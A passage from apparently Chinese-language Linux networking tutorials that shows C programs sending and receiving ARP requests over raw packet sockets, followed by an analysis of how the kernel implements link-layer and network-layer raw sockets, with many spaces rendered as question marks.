? ? srcIP.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
? ? printf("IP addr:%s\n",inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));


? ? //獲取接口的MAC地址
? ? if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
? ? ? ? ? ?perror("get dev MAC addr error:");
? ? ? ? ? ?exit(1);
? ? }


? ? memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
? ? printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);




? ? //開始填充，構(gòu)造以太頭部
? ? eth=(struct ether_header*)buf;
? ? memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);?
? ? memcpy(eth->ether_shost,src_mac,ETH_ALEN);
? ? eth->ether_type = htons(ETHERTYPE_ARP);


? ? //手動(dòng)開始填充用ARP報(bào)文首部
? ? arp=(struct arphdr*)(buf+sizeof(struct ether_header));
? ? arp->arp_hrd = htons(ARPHRD_ETHER); //硬件類型為以太
? ? arp->arp_pro = htons(ETHERTYPE_IP); //協(xié)議類型為IP


? ? //硬件地址長度和IPV4地址長度分別是6字節(jié)和4字節(jié)
? ? arp->arp_hln = ETH_ALEN;
? ? arp->arp_pln = 4;


? ? //操作碼，這里我們發(fā)送ARP請求
? ? arp->arp_op = htons(ARPOP_REQUEST);
? ? ??
? ? //填充發(fā)送端的MAC和IP地址
? ? memcpy(arp->arp_sha,src_mac,ETH_ALEN);
? ? memcpy(arp->arp_spa,&srcIP,4);


? ? //填充目的端的IP地址，MAC地址不用管
? ? inet_pton(AF_INET,argv[2],&targetIP);
? ? memcpy(arp->arp_tpa,&targetIP,4);


? ? toaddr.sll_family = PF_PACKET;
? ? n=sendto(skfd,buf,BUFLEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));


? ? close(skfd);
? ? return 0;
}
? ? ?結(jié)果如下：


? ? ? ?可以看到，我向網(wǎng)關(guān)發(fā)送一個(gè)ARP查詢請求，報(bào)文中攜帶了網(wǎng)關(guān)的IP地址以及我本地主機(jī)的IP和MAC地址。網(wǎng)關(guān)收到該請求后，對我的這個(gè)報(bào)文進(jìn)行了回應(yīng)，將它的MAC地址在ARP應(yīng)答報(bào)文中發(fā)給我了。
? ? ? ?在這個(gè)示例程序中，我們完全自己手動(dòng)構(gòu)造了以太幀頭部，并完成了整個(gè)ARP請求報(bào)文的填充，最后用sendto函數(shù)，將我們的數(shù)據(jù)通過eth0接口發(fā)送出去。這個(gè)程序的靈活性還在于支持多網(wǎng)卡，使用時(shí)只要指定網(wǎng)卡名稱(如eth0或eth1)，程序便會(huì)自動(dòng)去獲取指定接口相應(yīng)的IP和MAC地址，然后用它們?nèi)ヌ畛銩RP請求報(bào)文中對應(yīng)的各字段。
? ? ? ?在頭文件里，主要對以太幀首部進(jìn)行了封裝：
點(diǎn)擊(此處)折疊或打開
struct ether_header
{
? ?u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */
? ?u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */
? ?u_int16_t ether_type; /* packet type ID field */
} __attribute__ ((__packed__));
? ? ?在頭文件中，對ARP首部進(jìn)行了封裝：
點(diǎn)擊(此處)折疊或打開
struct arphdr
{
? ? unsigned short ar_hrd; /* format of hardware address */
? ? unsigned short ar_pro; /* format of protocol address */
? ? unsigned char ar_hln; /* length of hardware address */
? ? unsigned char ar_pln; /* length of protocol address */
? ? unsigned short ar_op; /* ARP opcode (command) */
}
? ? ? 而頭文件里，又對ARP整個(gè)報(bào)文進(jìn)行了封裝：
點(diǎn)擊(此處)折疊或打開
struct ether_arp {
? ? struct arphdr ea_hdr; /* fixed-size 8 bytes header */
? ? u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
? ? u_int8_t arp_spa[4]; /* sender protocol address */
? ? u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
? ? u_int8_t arp_tpa[4]; /* target protocol address */
};


#define arp_hrd ea_hdr.ar_hrd
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
? ? 最后再看一個(gè)簡單的接收ARP報(bào)文的小程序：?
點(diǎn)擊(此處)折疊或打開
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#define BUFLEN 60


int main(int argc,char** argv){
? ? int i,skfd,n;
? ? char buf[ETH_FRAME_LEN]={0};
? ? struct ethhdr *eth;
? ? struct ether_arp *arp;
? ? struct sockaddr_ll fromaddr;
? ? struct ifreq ifr;


? ? unsigned char src_mac[ETH_ALEN]={0};


? ? if(2 != argc){
? ? ? ? printf("Usage: %s netdevName\n",argv[0]);
? ? ? ? exit(1);
? ? }


? ? //只接收發(fā)給本機(jī)的ARP報(bào)文
? ? if(0>(skfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP)))){
? ? ? ? perror("Create Error");
? ? ? ? exit(1);
? ? }


? ? bzero(&fromaddr,sizeof(fromaddr));
? ? bzero(&ifr,sizeof(ifr));
? ? strcpy(ifr.ifr_name,argv[1]);


? ? //獲取接口索引
? ? if(-1 == ioctl(skfd,SIOCGIFINDEX,&ifr)){
? ? ? ? perror("get dev index error:");
? ? ? ? exit(1);
? ? }
? ? fromaddr.sll_ifindex = ifr.ifr_ifindex;
? ? printf("interface Index:%d\n",ifr.ifr_ifindex);


? ? //獲取接口的MAC地址
? ? if(-1 == ioctl(skfd,SIOCGIFHWADDR,&ifr)){
? ? ? ? perror("get dev MAC addr error:");
? ? ? ? exit(1);
? ? }


? ? memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
? ? printf("MAC :%02X-%02X-%02X-%02X-%02X-%02X\n",src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);


? ? fromaddr.sll_family = PF_PACKET;
? ? fromaddr.sll_protocol=htons(ETH_P_ARP);
? ? fromaddr.sll_hatype=ARPHRD_ETHER;
? ? fromaddr.sll_pkttype=PACKET_HOST;
? ? fromaddr.sll_halen=ETH_ALEN;
? ? memcpy(fromaddr.sll_addr,src_mac,ETH_ALEN);


? ? bind(skfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));


? ? while(1){
? ? ? ? memset(buf,0,ETH_FRAME_LEN);
? ? ? ? n=recvfrom(skfd,buf,ETH_FRAME_LEN,0,NULL,NULL);
? ? ? ? eth=(struct ethhdr*)buf;
? ? ? ? arp=(struct ether_arp*)(buf+14);


? ? ? ? printf("Dest MAC:");
? ? ? ? for(i=0;i<ETH_ALEN;i++){
? ? ? ? ? ? printf("%02X-",eth->h_dest[i]);
? ? ? ? }
? ? ? ? printf("Sender MAC:");
? ? ? ? for(i=0;i<ETH_ALEN;i++){
? ? ? ? ? ? printf("%02X-",eth->h_source[i]);
? ? ? ? }


? ? ? ? printf("\n");
? ? ? ? printf("Frame type:%0X\n",ntohs(eth->h_proto));


? ? ? ? if(ntohs(arp->arp_op)==2){
? ? ? ? ? ? printf("Get an ARP replay!\n");
? ? ? ? }
? ? }
? ? close(skfd);
? ? return 0;
}
?該示例程序中，調(diào)用recvfrom之前我們調(diào)用了bind系統(tǒng)調(diào)用，目的是僅從指定的接口接收ARP報(bào)文(由socket函數(shù)的第三個(gè)參數(shù)“ETH_P_ARP”決定)?？梢詫Ρ纫幌?#xff0c;該程序與博文“Linux網(wǎng)絡(luò)編程：原始套接字的魔力【下】”里介紹的抓包程序的區(qū)別。


?小結(jié)：通過這幾個(gè)章節(jié)的熱身，相信大家對網(wǎng)絡(luò)編程中常見的一系列API函數(shù)socket,bind,listen,connect,sendto,recvfrom,close等的認(rèn)識應(yīng)該會(huì)有一個(gè)較高的突破。當(dāng)然，你也必須趕快對它們熟悉起來，因?yàn)楹竺嫖覀儾坏爸淙弧?#xff0c;還要知其“所以然”。后面，我們會(huì)以這些函數(shù)調(diào)用為主線，看看它們到底在內(nèi)核中做些哪些事情，而這又對我們理解協(xié)議棧的實(shí)現(xiàn)原理有什么幫助做進(jìn)一步的分析和討論。
========

Linux原始套接字實(shí)現(xiàn)分析

http://www.cnblogs.com/davidwang456/p/3463291.html


本文從IPV4協(xié)議棧原始套接字的分類入手，詳細(xì)介紹了鏈路層和網(wǎng)絡(luò)層原始套接字的特點(diǎn)及其內(nèi)核實(shí)現(xiàn)細(xì)節(jié)。并結(jié)合原始套接字的實(shí)際應(yīng)用，說明各類型原始套接字的適應(yīng)范圍，以及在實(shí)際使用時(shí)需要注意的問題。


一、原始套接字概述


協(xié)議棧的原始套接字從實(shí)現(xiàn)上可以分為“鏈路層原始套接字”和“網(wǎng)絡(luò)層原始套接字”兩大類。本節(jié)主要描述各自的特點(diǎn)及其適用范圍。
鏈路層原始套接字可以直接用于接收和發(fā)送鏈路層的MAC幀，在發(fā)送時(shí)需要由調(diào)用者自行構(gòu)造和封裝MAC首部。而網(wǎng)絡(luò)層原始套接字可以直接用于接收和發(fā)送IP層的報(bào)文數(shù)據(jù)，在發(fā)送時(shí)需要自行構(gòu)造IP報(bào)文頭（取決是否設(shè)置IP_HDRINCL選項(xiàng)）。


1.1 ?鏈路層原始套接字


鏈路層原始套接字調(diào)用socket()函數(shù)創(chuàng)建。第一個(gè)參數(shù)指定協(xié)議族類型為PF_PACKET，第二個(gè)參數(shù)type可以設(shè)置為SOCK_RAW或SOCK_DGRAM，第三個(gè)參數(shù)是協(xié)議類型（該參數(shù)只對報(bào)文接收有意義）。協(xié)議類型protocol不同取值的意義具體見表1所示：
socket(PF_PACKET, type, htons(protocol))
? ? ??
a) ? ? ? 參數(shù)type設(shè)置為SOCK_RAW時(shí)，套接字接收和發(fā)送的數(shù)據(jù)都是從MAC首部開始的。在發(fā)送時(shí)需要由調(diào)用者從MAC首部開始構(gòu)造和封裝報(bào)文數(shù)據(jù)。type設(shè)置為SOCK_RAW的情況應(yīng)用是比較多的，因?yàn)槟承╉?xiàng)目會(huì)使用到自定義的二層報(bào)文類型。


socket(PF_PACKET, SOCK_RAW, htons(protocol))
?
b) ? ? ?參數(shù)type設(shè)置為SOCK_DGRAM時(shí)，套接字接收到的數(shù)據(jù)報(bào)文會(huì)將MAC首部去掉。同時(shí)在發(fā)送時(shí)也不需要再手動(dòng)構(gòu)造MAC首部，只需要從IP首部（或ARP首部，取決于封裝的報(bào)文類型）開始構(gòu)造即可，而MAC首部的填充由內(nèi)核實(shí)現(xiàn)的。若對于MAC首部不關(guān)心的場景，可以使用這種類型，這種用法用得比較少。


socket(PF_PACKET, SOCK_DGRAM, htons(protocol))


表1 ?protocol不同取值


protocol


值


作用


ETH_P_ALL


?0x0003


報(bào)收本機(jī)收到的所有二層報(bào)文


ETH_P_IP


0x0800


報(bào)收本機(jī)收到的所有IP報(bào)文


ETH_P_ARP


0x0806


報(bào)收本機(jī)收到的所有ARP報(bào)文


ETH_P_RARP


0x8035


報(bào)收本機(jī)收到的所有RARP報(bào)文


自定義協(xié)議


比如0x0810


報(bào)收本機(jī)收到的所有類型為0x0810的二層報(bào)文


不指定


0


不能用于接收，只用于發(fā)送


……


……


……


表1中protocol的取值中有兩個(gè)值是比較特殊的。當(dāng)protocol為ETH_P_ALL時(shí)，表示能夠接收本機(jī)收到的所有二層報(bào)文（包括IP, ARP, 自定義二層報(bào)文等），同時(shí)這種類型套接字還能夠?qū)⑼獍l(fā)的報(bào)文再收回來。當(dāng)protocol為0時(shí)，表示該套接字不能用于接收報(bào)文，只能用于發(fā)送。具體的實(shí)現(xiàn)細(xì)節(jié)在2.2節(jié)中會(huì)詳細(xì)介紹。


1.2 ?網(wǎng)絡(luò)層原始套接字


創(chuàng)建面向連接的TCP和創(chuàng)建面向無連接的UDP套接字，在接收和發(fā)送時(shí)只能操作數(shù)據(jù)部分，而不能對IP首部或TCP和UDP首部進(jìn)行操作。如果想要操作IP首部或傳輸層協(xié)議首部，就需要調(diào)用如下socket()函數(shù)創(chuàng)建網(wǎng)絡(luò)層原始套接字。第一個(gè)參數(shù)指定協(xié)議族的類型為PF_INET，第二個(gè)參數(shù)為SOCK_RAW，第三個(gè)參數(shù)protocol為協(xié)議類型（不同取值的意義見表2）。產(chǎn)品線有使用OSPF和RSVP等協(xié)議，需要使用這種類型的套接字。


socktet(PF_INET, SOCK_RAW, protocol)
? ?
a) ? ? ? 接收報(bào)文


網(wǎng)絡(luò)層原始套接字接收到的報(bào)文數(shù)據(jù)是從IP首部開始的，即接收到的數(shù)據(jù)包含了IP首部, TCP/UDP/ICMP等首部, 以及數(shù)據(jù)部分。
?
b) ? ? ?發(fā)送報(bào)文


網(wǎng)絡(luò)層原始套接字發(fā)送的報(bào)文數(shù)據(jù)，在默認(rèn)情況下是從IP首部之后開始的，即需要由調(diào)用者自行構(gòu)造和封裝TCP/UDP等協(xié)議首部。


這種套接字也提供了發(fā)送時(shí)從IP首部開始構(gòu)造數(shù)據(jù)的功能，通過setsockopt()給套接字設(shè)置上IP_HDRINCL選項(xiàng)，就需要在發(fā)送時(shí)自行構(gòu)造IP首部。


int val = 1;?
setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val));
?
表2 ?protocol不同取


protocol


值


作用


IPPROTO_TCP


6


報(bào)收TCP類型的報(bào)文


IPPROTO_UDP


17


報(bào)收UDP類型的報(bào)文


IPPROTO_ICMP


1


報(bào)收ICMP類型的報(bào)文


IPPROTO_IGMP


2


報(bào)收IGMP類型的報(bào)文


IPPROTO_RAW


255


不能用于接收，只用于發(fā)送（需要構(gòu)造IP首部）


OSPF


89


接收協(xié)議號為89的報(bào)文


……


……


……


表2中protocol取值為IPPROTO_RAW是比較特殊的，表示套接字不能用于接收，只能用于發(fā)送（且發(fā)送時(shí)需要從IP首部開始構(gòu)造報(bào)文）。具體的實(shí)現(xiàn)細(xì)節(jié)在2.3節(jié)中會(huì)詳細(xì)介紹。


二、原始套接字實(shí)現(xiàn)
本節(jié)主要首先介紹鏈路層和網(wǎng)絡(luò)層原始套接字報(bào)文的收發(fā)總體流程，再分別對兩類套接字的創(chuàng)建、接收、發(fā)送等具體實(shí)現(xiàn)細(xì)節(jié)進(jìn)行介紹。


2.1 ?原始套接字報(bào)文收發(fā)流程


圖1 ?原始套接字收發(fā)流程


如上圖1所示為鏈路層和網(wǎng)絡(luò)層原始套接字的收發(fā)總體流程。網(wǎng)卡驅(qū)動(dòng)收到報(bào)文后在軟中斷上下文中由netif_receive_skb()處理，匹配是否有注冊的鏈路層原始套接字，若匹配上就通過skb_clone()來克隆報(bào)文，并將報(bào)文交給相應(yīng)的原始套接字。對于IP報(bào)文，在協(xié)議棧的ip_local_deliver_finish()函數(shù)中會(huì)匹配是否有注冊的網(wǎng)絡(luò)層原始套接字，若匹配上就通過skb_clone()克隆報(bào)文并交給相應(yīng)的原始套接字來處理。


注意：這里只是將報(bào)文克隆一份交給原始套接字，而該報(bào)文還是會(huì)繼續(xù)走后續(xù)的協(xié)議棧處理流程。


? ? ? 鏈路層原始套接字的發(fā)送，直接由套接字層調(diào)用packet_sendmsg()函數(shù)，最終再調(diào)用網(wǎng)卡驅(qū)動(dòng)的發(fā)送函數(shù)。網(wǎng)絡(luò)層原始套接字的發(fā)送實(shí)現(xiàn)要相對復(fù)雜一些，由套接字層調(diào)用inet_sendmsg()->raw_sendmsg()，再經(jīng)過路由和鄰居子系統(tǒng)的處理后，最終調(diào)用網(wǎng)卡驅(qū)動(dòng)的發(fā)送函數(shù)。若注冊了ETH_P_ALL類型套接字，還需要將外發(fā)報(bào)文再收回去。


2.2 ?鏈路層原始套接字的實(shí)現(xiàn)


2.2.1 ?套接字創(chuàng)建
?
調(diào)用socket()函數(shù)創(chuàng)建套接字的流程如下，鏈路層原始套接字最終由packet_create()創(chuàng)建。


sys_socket()->sock_create()->__sock_create()->packet_create()
?
? ? 當(dāng)socket()函數(shù)的第三個(gè)參數(shù)protocol為非零的情況下，會(huì)調(diào)用dev_add_pack()將鏈路層套接字packet_sock的packet_type結(jié)構(gòu)鏈到ptype_all鏈表或ptype_base鏈表中。 ? ?


void dev_add_pack(struct packet_type *pt)?
{?
? ? ? ? ……?
? ? ? ? if (pt->type == htons(ETH_P_ALL)) {?
? ? ? ? ? ? ? ? netdev_nit++;?
? ? ? ? ? ? ? ? list_add_rcu(&pt->list, &ptype_all);?
? ? ? ? } else {?
? ? ? ? ? ? ? ? hash = ntohs(pt->type) & 15;?
? ? ? ? ? ? ? ? list_add_rcu(&pt->list, &ptype_base[hash]);?
? ? ? ? }?
? ? ? ? ……?
}
? ? 當(dāng)protocol為ETH_P_ALL時(shí)，會(huì)將套接字加入到ptype_all鏈表中。如圖2所示，這里創(chuàng)建了兩個(gè)鏈路層原始套接字。


圖2 ?ptype_all鏈表
?
當(dāng)protocol為其它非0值時(shí)，會(huì)將套接字加入到ptype_base鏈表中。如圖3所示，協(xié)議棧本身也需要注冊packet_type結(jié)構(gòu)，圖中淺色的兩個(gè)packet_type結(jié)構(gòu)分別是IP協(xié)議和ARP協(xié)議注冊的，其處理函數(shù)分別為ip_rcv()和arp_rcv()。圖中另外3個(gè)深色的packet_type結(jié)構(gòu)則是鏈路層原始套接字注冊的，分別用于接收類型為ETH_P_IP、ETH_P_ARP和0x0810類型的報(bào)文。


圖3 ?ptype_base鏈表


2.2.2 ?報(bào)文接收


網(wǎng)卡驅(qū)動(dòng)程序接收到報(bào)文后，在軟中斷上下文由netif_receive_skb()處理。首先會(huì)逐個(gè)遍歷ptype_all鏈表中的packet_type結(jié)構(gòu)，若滿足條件“(!ptype->dev || ptype->dev == skb->dev)”，即套接字未綁定或者套接字綁定網(wǎng)口與skb所在網(wǎng)口匹配，就增加報(bào)文引用計(jì)數(shù)并交給packet_rcv()函數(shù)處理（若使用PACKET_MMAP收包方式則由tpacket_rcv()函數(shù)處理）。


網(wǎng)卡驅(qū)動(dòng)->netif_receive_skb()->deliver_skb()->packet_rcv()/tpacket_rcv()


? ? 以非PACKET_MMAP收包方式為例進(jìn)行說明，packet_rcv()函數(shù)中比較重要的代碼片段如下。當(dāng)報(bào)文skb到達(dá)packet_rcv()函數(shù)時(shí)，其skb->data所指的數(shù)據(jù)是不包含MAC首部的，所以對于type為非SOCK_DGRAM（即SOCK_RAW）類型，需要將skb->data指針前移，以便數(shù)據(jù)部分可以包含MAC首部。最后將skb放到套接字的接收隊(duì)列sk->sk_receive_queue中，并喚醒用戶態(tài)進(jìn)程來讀取套接字中的數(shù)據(jù)。


……?
if (sk->sk_type != SOCK_DGRAM) //即SOCK_RAW類型?
? ? ? ? skb_push(skb, skb->data - skb->mac.raw);?
……?
__skb_queue_tail(&sk->sk_receive_queue, skb);?
sk->sk_data_ready(sk, skb->len); //喚醒進(jìn)程讀取數(shù)據(jù)?
……
PACKET_MMAP收包方式的實(shí)現(xiàn)有所不同，tpacket_rcv()函數(shù)將skb->data拷貝到與用戶態(tài)mmap映射的共享內(nèi)存中，最后喚醒用戶態(tài)進(jìn)程來讀取數(shù)據(jù)。由于報(bào)文的內(nèi)容已存放在內(nèi)核空間和用戶空間共享的緩沖區(qū)中，用戶態(tài)可以直接讀取以減少數(shù)據(jù)的拷貝，所以這種方式效率比較高。


? ? 上面介紹了報(bào)文接收在軟中斷的處理流程。下面以非PACKET_MMAP收包方式為例，介紹用戶態(tài)讀取報(bào)文數(shù)據(jù)的流程。用戶態(tài)recvmsg()最終調(diào)用skb_recv_datagram()，如果套接字接收隊(duì)列sk->sk_receive_queue中有報(bào)文就取skb并返回。否則調(diào)用wait_for_packet()等待，直到內(nèi)核軟中斷收到報(bào)文并喚醒用戶態(tài)進(jìn)程。


sys_recvmsg()->sock_recvmsg()->…->packet_recvmsg()->skb_recv_datagram()


2.2.3 ?報(bào)文發(fā)送


用戶態(tài)調(diào)用sendto()或sendmsg()發(fā)送報(bào)文的內(nèi)核態(tài)處理流程如下，由套接字層最終會(huì)調(diào)用到packet_sendmsg()。


sys_sendto()->sock_sendmsg()->__sock_sendmsg()->packet_sendmsg()->dev_queue_xmit()


? ? 該函數(shù)比較重要的函數(shù)片段如下。首先進(jìn)行參數(shù)檢查及skb分配，再調(diào)用驅(qū)動(dòng)程序的hard_header函數(shù)（對于以太網(wǎng)驅(qū)動(dòng)是eth_header()函數(shù)）來構(gòu)造報(bào)文的MAC頭部，此時(shí)的skb->data是指向MAC首部的，且skb->len為MAC首部長度（即14）。對于創(chuàng)建時(shí)指定type為SOCK_RAW類型套接字，由于在發(fā)送時(shí)需要自行構(gòu)造MAC頭部，所以將skb->tail指針恢復(fù)到MAC首部開始的位置，并將skb->len設(shè)置為0（即不使用內(nèi)核構(gòu)造的MAC首部）。接著再調(diào)用memcpy_fromiovec()從skb->tail的位置開始拷貝報(bào)文數(shù)據(jù)，最終調(diào)用網(wǎng)卡驅(qū)動(dòng)的發(fā)送函數(shù)將報(bào)文發(fā)送出去。


注：如果創(chuàng)建套接字時(shí)指定type為SOCK_DGRAM，則使用內(nèi)核構(gòu)造的MAC首部，用戶態(tài)發(fā)送的數(shù)據(jù)中不含MAC頭部數(shù)據(jù)。


……?
res = dev->hard_header(skb, dev, ntohs(proto), addr, NULL, len); //構(gòu)造MAC首部?
if (sock->type != SOCK_DGRAM) {?
? ? ? ? skb->tail = skb->data; //SOCK_RAW類型?
? ? ? ? skb->len = 0;?
}?
……
err = memcpy_fromiovec(skb_put(skb,len), msg->msg_iov, len); //拷貝報(bào)文數(shù)據(jù)
……?
err = dev_queue_xmit(skb); //發(fā)送報(bào)文?
……
?
2.2.4 ?其它


a) ? ? ? ? 套接字的綁定


鏈路層原始套接字可調(diào)用bind()函數(shù)進(jìn)行綁定，讓packet_type結(jié)構(gòu)dev字段指向相應(yīng)的net_device結(jié)構(gòu)，即將套接字綁定到相應(yīng)的網(wǎng)口上。如2.2.2節(jié)報(bào)文接收的描述，在接收時(shí)如果套接口有綁定就需要進(jìn)一步確認(rèn)當(dāng)前skb->dev是否與綁定網(wǎng)口相匹配，只有匹配的才會(huì)將報(bào)文上送到相應(yīng)的套接字。


sys_bind()->packet_bind()->packet_do_bind()


b) ? ? ? ?套接字選項(xiàng)


以下是比較常用的套接字選項(xiàng)


PACKET_RX_RING：用于PACKET_MMAP收包方式設(shè)置接收環(huán)形隊(duì)列


PACKET_STATISTICS：用于讀取收包統(tǒng)計(jì)信息


c) ? ? ? 信息查看


鏈路層原始套接字的信息可通過/proc/net/packet進(jìn)行查看。如下為圖2和圖3中創(chuàng)建的原始套接字的信息，可以查看到創(chuàng)建時(shí)指定的協(xié)議類型、是否綁定網(wǎng)口、已使用的接收緩存大小等信息。這些信息對于分析和定位問題有幫助。?


cat /proc/net/packet
sk RefCnt Type Proto Iface R Rmem User Inode
ffff810007df8400 3 3 0810 0 1 0 0 1310
ffff810007df8800 3 3 0806 0 1 0 0 1309
ffff810007df8c00 3 3 0800 0 1 560 0 1308
ffff810007df8000 3 3 0003 0 1 560 0 1307
ffff810007df3800 3 3 0003 0 1 560 0 1306
?
2.3 ?網(wǎng)絡(luò)層原始套接字的實(shí)現(xiàn)


2.3.1 ?套接字創(chuàng)建


如圖4所示，在IPV4協(xié)議棧中一個(gè)傳輸層協(xié)議（如TCP，UDP，UDP-Lite等）對應(yīng)一個(gè)inet_protosw結(jié)構(gòu)，而inet_protosw結(jié)構(gòu)中又包含了proto_ops結(jié)構(gòu)和proto結(jié)構(gòu)。網(wǎng)絡(luò)子系統(tǒng)初始化時(shí)將所有的inet_protosw結(jié)構(gòu)hash到全局的inetsw[]數(shù)組中。proto_ops結(jié)構(gòu)實(shí)現(xiàn)的是從與協(xié)議無關(guān)的套接口層到協(xié)議相關(guān)的傳輸層的轉(zhuǎn)接，而proto結(jié)構(gòu)又將傳輸層映射到網(wǎng)絡(luò)層。


圖4 ?inetsw[]數(shù)組結(jié)構(gòu)


? ? 調(diào)用socket()函數(shù)創(chuàng)建套接字的流程如下，網(wǎng)絡(luò)層原始套接字最終由inet_create()創(chuàng)建。


sys_socket()->sock_create()->__sock_create()->inet_create()


? ? inet_create()函數(shù)除用于創(chuàng)建網(wǎng)絡(luò)層原始套接字外，還用于創(chuàng)建TCP、UDP套接字。首先根據(jù)socket()函數(shù)的第二個(gè)參數(shù)（即SOCK_RAW）在inetsw[]數(shù)組中匹配到相應(yīng)的inet_protosw結(jié)構(gòu)。并將套接字結(jié)構(gòu)的ops設(shè)置為inet_sockraw_ops，將套接字結(jié)構(gòu)的sk_prot設(shè)置為raw_prot。然后對于SOCK_RAW類型套接字，還要將inet->num設(shè)置為協(xié)議類型，以便最后能調(diào)用proto結(jié)構(gòu)的hash函數(shù)（即raw_v4_hash()）。
??


……?
sock->ops = answer->ops; //將socket結(jié)構(gòu)的ops設(shè)置為inet_sockraw_ops?
answer_prot = answer->prot;?
……?
if (SOCK_RAW == sock->type) { //SOCK_RAW類型的套接字，設(shè)置inet->num?
? ? ? ? inet->num = protocol;?
? ? ? ? if (IPPROTO_RAW == protocol) //protocol為IPPROTO_RAW的特殊處理，?
? ? ? ? ? ? ? ? inet->hdrincl = 1; 后續(xù)在報(bào)文發(fā)送時(shí)會(huì)再講到?
}?
……
if (inet->num) {
? ? ? ? inet->sport = htons(inet->num);?
? ? ? ? sk->sk_prot->hash(sk); //調(diào)用raw_v4_hash()函數(shù)將套接字鏈到raw_v4_htable中?
}?
……
?
經(jīng)過如上操作后，相應(yīng)的套接字結(jié)構(gòu)sock會(huì)通過raw_v4_hash()函數(shù)鏈到raw_v4_htable鏈表中，網(wǎng)絡(luò)層原始套接字報(bào)文接收時(shí)需要使用到raw_v4_htable。如圖5所示，共創(chuàng)建了3個(gè)網(wǎng)絡(luò)層原始套接字，協(xié)議類型分別為IPPROTO_TCP、IPPROTO_ICMP和89。
?
圖5 ?raw_v4_htable鏈表


2.3.2 ?報(bào)文接收


網(wǎng)卡驅(qū)動(dòng)收到報(bào)文后在軟中斷上下文由netif_receive_skb()處理，對于IP報(bào)文且目的地址為本機(jī)的會(huì)由ip_rcv()最終調(diào)用ip_local_deliver_finish()函數(shù)。ip_local_deliver_finish()主要功能的代碼片段如下，先根據(jù)報(bào)文的L4層協(xié)議類型hash值在圖5中的raw_v4_htable表中查找是否有匹配的sock。如果有匹配的sock結(jié)構(gòu)，就進(jìn)一步調(diào)用raw_v4_input()處理網(wǎng)絡(luò)層原始套接字。不管是否有原始套接字要處理，該報(bào)文都會(huì)走后續(xù)的協(xié)議棧處理流程。即會(huì)繼續(xù)匹配inet_protos[]數(shù)組，根據(jù)L4層協(xié)議類型走TCP、UDP、ICMP等不同處理流程。
? ? ?
……?
hash = protocol & (MAX_INET_PROTOS - 1); //根據(jù)報(bào)文協(xié)議類型取hash值?
raw_sk = sk_head(&raw_v4_htable[hash]); //在raw_v4_htable中查找?
……?
if (raw_sk && !raw_v4_input(skb, skb->nh.iph, hash)) //處理原始套接字?
……?
if ((ipprot = rcu_dereference(inet_protos[hash])) != NULL) { //匹配inet_protos[]數(shù)組?
? ? ? ? ……?
? ? ? ? ret = ipprot->handler(skb); //調(diào)用傳輸層處理函數(shù)?
? ? ? ? ……?
} else { //如果在inet_protos[]數(shù)組中未匹配到，則釋放報(bào)文
? ? ? ? ……?
? ? ? ? kfree_skb(skb);?
}?
……
?
如圖6所示的inet_protos[]數(shù)組，每項(xiàng)由net_protocol結(jié)構(gòu)組成。表示一個(gè)協(xié)議（包括傳輸層協(xié)議和網(wǎng)絡(luò)層附屬協(xié)議）的接收處理函數(shù)集，一般包括一個(gè)正常接收函數(shù)和一個(gè)出錯(cuò)接收函數(shù)。圖中TCP、UDP和ICMP協(xié)議的接收處理函數(shù)分別為tcp_v4_rcv()、udp_rcv()和icmp_rcv()。如果在inet_protos[]數(shù)組中未配置到相應(yīng)的net_protocol結(jié)構(gòu)，報(bào)文就會(huì)被丟棄掉。比如OSPF報(bào)文（協(xié)議類型為89）在inet_protos[]數(shù)組中沒有相應(yīng)的項(xiàng)，內(nèi)核會(huì)將其丟棄掉，這種報(bào)文只能提供網(wǎng)絡(luò)層原始套接字接收到用戶態(tài)來處理。


?圖6 ?inet_protos[]數(shù)組結(jié)構(gòu)


? ? 網(wǎng)絡(luò)層原始套接字的總體接收流程如下，最終會(huì)將skb掛到相應(yīng)套接字上，并喚醒用戶態(tài)進(jìn)程讀取報(bào)文數(shù)據(jù)。


網(wǎng)卡驅(qū)動(dòng)->netif_receive_skb()->ip_rcv()->ip_rcv_finish()->ip_local_deliver()->ip_local


_deliver_finish()->raw_v4_input()->raw_rcv()->raw_rcv_skb()->sock_queue_rcv_skb()


……?
skb_queue_tail(&sk->sk_receive_queue, skb); //掛到接收隊(duì)列?
if (!sock_flag(sk, SOCK_DEAD))?
? ? ? ? sk->sk_data_ready(sk, skb_len); //喚醒用戶態(tài)進(jìn)程?
……
?
? ? ? ?上面介紹了報(bào)文接收在軟中斷的處理流程，下面介紹用戶態(tài)進(jìn)程讀取報(bào)文是如何實(shí)現(xiàn)的。用戶態(tài)的recvmsg()最終會(huì)調(diào)用raw_recvmsg()，后者再調(diào)用skb_recv_datagram。如果套接字接收隊(duì)列sk->sk_receive_queue中有報(bào)文就取skb并返回。否則調(diào)用wait_for_packet()等待，直到內(nèi)核軟中斷收到報(bào)文并喚醒用戶態(tài)進(jìn)程。


sys_recvmsg()->sock_recvmsg()->…->sock_common_recvmsg()->raw_recvmsg()


2.3.3 ?報(bào)文發(fā)送


